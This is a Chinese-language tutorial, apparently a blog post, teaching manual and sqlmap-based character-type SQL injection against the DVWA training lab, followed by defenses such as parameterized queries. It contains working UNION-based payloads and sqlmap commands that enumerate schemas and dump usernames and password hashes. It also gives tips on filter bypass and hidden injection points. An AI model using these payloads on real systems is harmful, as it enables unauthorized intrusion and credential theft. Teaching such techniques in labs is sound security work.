1. 从“知其然”到“知其所以然”:SQL注入的深度认知
上次我们聊了SQL注入的基础概念和最简单的数字型注入,算是推开了这扇门。但很多朋友在实操靶场时,比如做DVWA的Low级别或者Pikachu的第一关,感觉挺顺,一到真实环境或者稍微复杂点的关卡(比如DVWA的Medium/High,或者CTF题目里的字符型注入),立刻就懵了。问题出在哪?我觉得核心在于,很多人只记住了“' or 1=1 --”这个“万能密码”,却没真正理解数据库、应用程序和你输入的字符串之间,到底发生了什么。
这就好比学开车,你只记住了“踩油门车会走,踩刹车车会停”,但不知道发动机、变速箱、刹车系统是怎么联动的,一旦遇到雨雪天气或者复杂路况,肯定要出问题。SQL注入的精髓,恰恰在于理解这个“联动”过程。今天,我们就抛开那些花里胡哨的绕过技巧(那是后话),先扎扎实实地把字符型注入这个最经典、最常考的“科目二”给练明白了。我们会用DVWA、Pikachu这些经典靶场作为“教练车”,但重点不是让你照搬payload,而是带你理解每一个引号、每一个括号、每一个注释符背后的逻辑。当你真正看懂了一个简单的登录框背后,SQL语句是如何被“拼接”和“篡改”的,你才算真正入门了。
2. 核心原理拆解:字符与数字的天壤之别
为什么要把字符型和数字型分开讲?因为它们在底层处理上有着根本性的区别,这直接决定了我们注入手法的不同。理解这个区别,是构建所有后续复杂攻击思路的基石。
2.1 数字型注入:直白的数学运算
回顾一下数字型注入,它的后端SQL语句原型通常是这样的:
SELECT * FROM products WHERE id = $id;这里的$id是从用户输入(比如?id=1)直接获取的。因为期望的是一个数字,所以代码里可能连引号都没加。我们的注入1 or 1=1被拼接进去后,语句变成了:
SELECT * FROM products WHERE id = 1 or 1=1;1=1永远为真,所以WHERE条件整体为真,查询返回所有产品信息。这里的关键是,注入的 payload 直接成为了SQL逻辑表达式的一部分,没有字符串边界的干扰。
2.2 字符型注入:被引号包裹的战场
而字符型注入就复杂多了。它的后端语句原型是这样的:
SELECT * FROM users WHERE username = '$username' AND password = '$password';或者对于单个搜索框:
SELECT * FROM news WHERE title LIKE '%$keyword%';看到区别了吗?用户输入的$username或$keyword被单引号(')包裹了起来。在SQL语法中,引号内的内容被视为一个字符串整体。如果我们直接输入admin' or 1=1 --,拼接后的语句会变成:
SELECT * FROM users WHERE username = 'admin' or 1=1 -- ' AND password = '$password';乍一看好像没问题?但数据库引擎会怎么解析呢?它会认为username = 'admin' or 1=1是一个完整的条件,但后面那个--之后的单引号呢?实际上,--是SQL中的单行注释符,它会把其后直到行尾的所有内容都注释掉。所以,上面的语句等价于:
SELECT * FROM users WHERE username = 'admin' or 1=1AND password...那段已经被注释掉了,条件1=1为真,因此会返回users表中的第一条记录(通常就是管理员账户)。这就是最简单的字符型注入原理。
注意:这里有一个至关重要的细节!很多新手会忘记闭合前面的引号。如果你输入
admin or 1=1 --,语句会变成username = 'admin or 1=1 -- ',这整个都被当作一个字符串去和字段username比较了,数据库里显然没有叫admin or 1=1的用户,所以会查询失败。你必须先用一个单引号'来闭合SQL语句中原本用来包裹字符串的那个引号,让你的payload跳出字符串的束缚,成为可执行的代码。这是字符型注入最核心的第一步。
2.3 引号的变体:双引号与转义
除了单引号,有些开发习惯或数据库配置可能使用双引号来包裹字符串:
SELECT * FROM users WHERE username = "$username";这时,我们的闭合符号就需要换成双引号"。更复杂的情况是,代码可能使用了转义函数(如PHP的addslashes()、mysql_real_escape_string()),它会在我们输入的单引号前加上一个反斜杠\进行转义,使'变成\',从而失去闭合引号的能力。这就引出了“宽字节注入”等高级绕过技术,我们今天先不展开,但心里要有这根弦:看到注入失败,先检查引号是否被转义了。
3. 靶场实战:手把手拆解字符型注入全流程
光说不练假把式。我们以DVWA (Damn Vulnerable Web Application)的 “SQL Injection” 模块为例,将安全级别调至Low,来一次完整的手工注入流程。目标是:绕过登录验证,获取数据库信息。
3.1 第一步:探测与确认注入点
DVWA Low级别的SQL注入页面是一个简单的用户ID查询框。我们首先需要确认这里是否存在注入漏洞,以及是何种类型。
- 正常输入:输入
1,点击Submit。通常返回用户ID为1的信息(如admin)。这告诉我们,参数是有效的。 - 数字型测试:输入
1 and 1=2。如果页面返回异常(空或报错),说明and 1=2这个假条件被执行了,那它很可能就是数字型注入。但这里我们预期是字符型,所以先按字符型测试。 - 字符型测试 - 引号闭合:输入
1'。这是最关键的一步。- 如果页面返回SQL语法错误(例如:
You have an error in your SQL syntax...),太棒了!这说明我们输入的单引号破坏了原SQL语句的语法结构,证明原始语句中使用了单引号来包裹我们的输入,即这是一个字符型注入点。错误是因为多了一个我们输入的单引号,导致语句像... WHERE id = '1'',引号不匹配。 - 如果页面正常返回,则可能是数字型,或者输入被处理了。
- 如果页面返回SQL语法错误(例如:
在DVWA Low级别,输入1'你会看到明显的数据库报错信息。这直接证实了注入点的存在和类型。
3.2 第二步:利用注释符平衡语法
确认是字符型注入后,我们需要修复因多出一个引号导致的语法错误,并让后续的注入代码生效。这里就用到了SQL注释符。
- 尝试闭合并注释:输入
1' --。'用于闭合原语句的开头引号。--是SQL注释符(注意,在绝大多数数据库里,--后面必须跟一个空格或控制字符,否则可能不生效)。它会将其后直到行尾的所有内容注释掉,包括原SQL语句中可能存在的后续引号和条件。- 拼接后的理想语句是:
SELECT ... WHERE id = '1' -- ' ...。--后面的内容被注释,语法正确。
- 观察结果:在DVWA中输入
1' --,页面应该和输入1时返回相同的结果。因为WHERE id = '1'条件成立,且后续部分被注释不影响。这一步证明了我们可以通过注释符来操控SQL语句的“有效部分”。
实操心得:很多在线靶场或CTF题目,URL中的空格会被编码为
+或%20。但有时--后面的空格会被服务器过滤或忽略,导致注释失效。一个常见的技巧是使用#号(在URL中需编码为%23)作为注释符,它在MySQL中同样有效,且不受尾部空格影响。例如,可以尝试1'%23。在Burp Suite这类工具里操作会更直观。
3.3 第三步:信息获取 - 联合查询(Union)的威力
仅仅绕过验证还不够,我们的目标是获取数据库信息。这就要用到UNION SELECT语句。UNION可以将两个或多个SELECT语句的结果合并成一个结果集。前提是:两个SELECT语句查询的列数必须相同。
所以,第三步是判断当前查询的列数。
使用
ORDER BY探测列数:- 输入
1' ORDER BY 1 --,页面正常。 - 输入
1' ORDER BY 2 --,页面正常。 - 输入
1' ORDER BY 3 --,页面正常。 - 输入
1' ORDER BY 4 --,页面报错(或返回空)。 - 这说明原始查询语句返回的列数是3。
ORDER BY n表示按第n列排序,如果n超过总列数,数据库就会报错。
- 输入
确定显示位: 知道了列数是3,我们使用
UNION SELECT来找出哪几列的内容会显示在页面上。- 输入:
-1' UNION SELECT 1,2,3 --(或者999' UNION ...,目的是让前一个查询结果为空,从而只显示我们union查询的结果)。 - 为什么是
-1或999?因为通常查询是WHERE id = '输入值',我们让这个条件不成立(id不存在),这样第一个SELECT结果为空,页面就会完整地展示第二个SELECT(即我们的UNION SELECT 1,2,3)的结果。 - 观察页面。在DVWA Low级别,你会看到页面上的某个位置显示数字“2”和“3”。这说明页面的显示位置对应着查询结果集的第2和第3列。第1列的数据可能用于其他不显示的用途(比如用户ID)。
- 输入:
获取数据库信息: 现在,我们可以把显示位(第2、3列)替换成我们想查询的数据库函数。
- 查询当前数据库名:输入
-1' UNION SELECT 1, database(), user() --database()函数返回当前使用的数据库名称。user()函数返回当前数据库连接的用户名。
- 查询数据库版本:输入
-1' UNION SELECT 1, version(), @@version_compile_os --version()返回数据库版本。@@version_compile_os返回操作系统信息。
- 在页面的显示位置(原来显示2和3的地方),你应该能看到类似
dvwa(数据库名)、root@localhost(用户名)、5.7.26(版本)这样的信息。
- 查询当前数据库名:输入
3.4 第四步:深入核心 - 获取表名、列名与数据
知道了数据库名,我们就像拿到了一座图书馆的名字。接下来要找到具体的书架(表)和书籍(列)。
获取所有表名: 在MySQL中,数据库的元数据(如表名、列名)存储在名为
information_schema的默认数据库中。其中TABLES表记录了所有表的信息。- 输入:
-1' UNION SELECT 1, table_name, table_schema FROM information_schema.tables WHERE table_schema='dvwa' -- - 这里我们查询
information_schema.tables表,筛选出属于dvwa数据库的表名(table_name)和所属数据库名(table_schema,这里再次确认)。页面会列出dvwa数据库中的所有表,你可能会看到users,guestbook等。
- 输入:
获取特定表(如users)的列名: 假设我们对
users表感兴趣,想知道里面有哪些列(字段)。- 输入:
-1' UNION SELECT 1, column_name, data_type FROM information_schema.columns WHERE table_schema='dvwa' AND table_name='users' -- - 这里查询
information_schema.columns表,筛选出dvwa数据库下users表的所有列名(column_name)和数据类型(data_type)。你会看到类似user_id,first_name,last_name,user,password,avatar等列名。其中user和password显然是我们最关心的。
- 输入:
最终一击:拖取用户凭证数据: 现在,表名、列名都知道了,可以直接查询数据了。
- 输入:
-1' UNION SELECT 1, user, password FROM users -- - 页面会显示
users表中所有用户的登录名和密码哈希值。在DVWA里,密码通常是MD5哈希(32位十六进制字符串)。你可以看到admin对应的密码哈希。
- 输入:
注意事项:在实际渗透测试或CTF中,
information_schema库的访问可能被限制,或者表名、列名需要猜测或通过盲注获取。但原理是相通的。另外,永远不要在生产环境进行未经授权的测试,这是违法行为。我们所有的操作都应在像DVWA、Pikachu、Sqli-Labs这样的合法靶场中进行。
4. 工具辅助:Sqlmap在字符型注入中的高效利用
手工注入能帮你彻底理解原理,但在效率上无法与自动化工具相比。Sqlmap是SQL注入领域的“瑞士军刀”。我们来看看如何用它来高效完成上面的过程。
假设我们已经通过手工探测,确认了DVWA Low级别SQL注入的URL和参数(?id=1&Submit=Submit),并且知道是字符型注入(有单引号)。
基础探测:
sqlmap -u "http://靶场地址/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=你的会话ID; security=low"-u:指定目标URL。--cookie:因为DVWA需要登录,所以必须提供有效的会话Cookie。你可以从浏览器开发者工具(F12)的“网络”或“应用”标签页中复制。- 运行后,Sqlmap会自动探测是否存在注入点、是什么类型。它会提示“GET parameter 'id' is vulnerable...”。
获取当前数据库和用户:
sqlmap -u "http://靶场地址/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="..." --current-db --current-user--current-db:获取当前数据库名。--current-user:获取当前数据库用户。
枚举数据库中的所有表:
sqlmap -u "http://靶场地址/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="..." -D dvwa --tables-D dvwa:指定目标数据库名。--tables:枚举该数据库下的所有表。
枚举特定表的所有列:
sqlmap -u "http://靶场地址/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="..." -D dvwa -T users --columns-T users:指定目标表名。--columns:枚举该表的所有列。
拖取表数据:
sqlmap -u "http://靶场地址/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="..." -D dvwa -T users -C user,password --dump-C user,password:指定要下载的列。--dump:下载数据。Sqlmap还会询问你是否要尝试破解哈希(如果识别出是常见哈希如MD5)。
实操心得:Sqlmap功能强大,但“动静”也大,因为它会发送大量测试payload。在CTF或授权测试中,可以灵活使用。但对于字符型注入,Sqlmap有时需要明确指定注入类型和边界符。如果自动探测失败,可以尝试手动指定:
--technique=U(联合查询)和--prefix="'" --suffix="-- "来告诉它payload的构造方式。理解手工注入的原理,能让你更好地驾驭Sqlmap,而不是只会无脑跑命令。
5. 防御视角:如何从根源上理解与防范
作为渗透测试者,了解攻击是为了更好地防御。从我们上面的攻击过程,可以反向推导出开发中应该如何避免SQL注入。
根本原因:将不可信的用户输入,直接拼接到SQL语句中执行。
核心防御方案 - 参数化查询(预编译语句):
- 原理:将SQL语句的结构(模板)与数据(参数)分离。数据库引擎会先编译带占位符的SQL结构,然后再将用户输入的数据作为纯粹的“参数值”传入。这样,即使用户输入中包含
'、OR、--等特殊字符,它们也只会被当作数据内容,而不会被解释为SQL代码。 - 示例(PHP PDO):
在预编译的语句中,即使用户输入是// 错误做法(拼接) $sql = "SELECT * FROM users WHERE username = '" . $_POST['user'] . "' AND password = '" . $_POST['pass'] . "'"; // 正确做法(参数化查询) $stmt = $pdo->prepare("SELECT * FROM users WHERE username = :user AND password = :pass"); $stmt->execute(['user' => $_POST['user'], 'pass' => $_POST['pass']]);admin' --,最终的查询等价于SELECT ... WHERE username = 'admin\' -- ' AND password = '...',单引号被转义,整个字符串作为用户名去比对,无法改变查询逻辑。
- 原理:将SQL语句的结构(模板)与数据(参数)分离。数据库引擎会先编译带占位符的SQL结构,然后再将用户输入的数据作为纯粹的“参数值”传入。这样,即使用户输入中包含
次要或补充方案:
- 输入验证与过滤:对输入进行严格的类型、格式、长度检查。例如,ID参数强制转换为整数。但这不是银弹,对于复杂的字符串搜索框,很难过滤所有危险字符。
- 使用安全的ORM框架:现代Web框架(如Laravel的Eloquent、ThinkPHP的模型)通常内置了参数化查询,能有效避免手写SQL导致的注入。
- 最小权限原则:连接数据库的应用程序账号,只赋予其必要的最小权限(如只有SELECT权限,没有DROP、UPDATE权限),即使被注入,也能限制破坏范围。
- 避免动态拼接:尽量不要在代码中通过字符串拼接来构造SQL语句,尤其是拼接
WHERE、ORDER BY、LIMIT等子句。
理解防御,能让你在CTF中识别出哪些题是“白给”的注入点(存在明显拼接),哪些题可能考察了过滤绕过(需要你利用防御的缺陷)。例如,如果代码用了addslashes()转义单引号,你可能就需要研究宽字节注入或寻找未转义的数字型参数。
6. 从靶场到实战:思维模式的转变
在DVWA、Pikachu这类靶场里,注入点往往非常明显,参数名(id,username)也直接告诉你它的用途。但真实环境和CTF比赛中,情况要复杂得多。
寻找隐藏的注入点:注入可能存在于任何用户可控的输入中。
- GET/POST参数:最明显。
- HTTP头部:
User-Agent,X-Forwarded-For,Cookie,Referer。有些应用会记录这些信息到数据库。 - 文件上传:文件名可能被存入数据库。
- 搜索功能:搜索关键词是字符型注入的高发区。
- 排序、分页参数:
order=create_time,page=2,这些参数可能直接拼接到ORDER BY或LIMIT子句中。
判断注入类型与过滤规则:
- 先尝试
'、"、)等,看是否有报错。 - 如果报错信息被屏蔽(盲注),则通过逻辑判断(
and 1=1与and 1=2的页面差异)来探测。 - 观察是否有关键词(
union,select,or,and)被过滤或转义。可以尝试大小写混淆、双写绕过(selselectect)、编码绕过等。
- 先尝试
信息收集的优先级:
- 在CTF中,目标往往是找到“flag”。这可能藏在数据库的某个表里,也可能需要通过注入执行系统命令或读取文件。
- 在实战渗透测试中,目标可能是获取管理员凭证、敏感数据(用户信息、订单)、甚至通过数据库写文件获取Webshell。
- 你的思路应该是:确认注入 -> 判断数据库类型(MySQL? PostgreSQL? MSSQL?)-> 获取当前用户权限(是否是DBA?)-> 根据权限决定下一步(查数据、读文件、写文件、命令执行)。
手工注入的流程,本质上是一种与数据库进行“问答”的思维。你通过精心构造的输入,向数据库提出“是/否”问题(盲注)或“直接告诉我答案”的问题(联合查询),并根据应用程序的响应来推断答案。这个过程锻炼的是你的逻辑思维、耐心和对SQL语法的深刻理解。工具(Sqlmap)可以帮你自动化这个过程,但如果你不理解背后的原理,当工具失效时(比如遇到复杂的WAF或过滤),你将束手无策。
所以,我的建议是,在入门阶段,至少完整地手工完成一到两个靶场(如Sqli-Labs的1-20关)。把每一步的思考、每一个payload的构造理由都写下来。当你能够不依赖任何提示,独立完成从探测到拖库的全过程时,你才算真正掌握了SQL注入这门“手艺”的基础。在这之后,再去学习时间盲注、布尔盲注、报错注入、堆叠注入以及各种奇技淫巧的绕过方法,就会有一种水到渠成的感觉。安全之路,基础不牢,地动山摇。字符型注入,就是这个“基础”中最坚实的一块砖。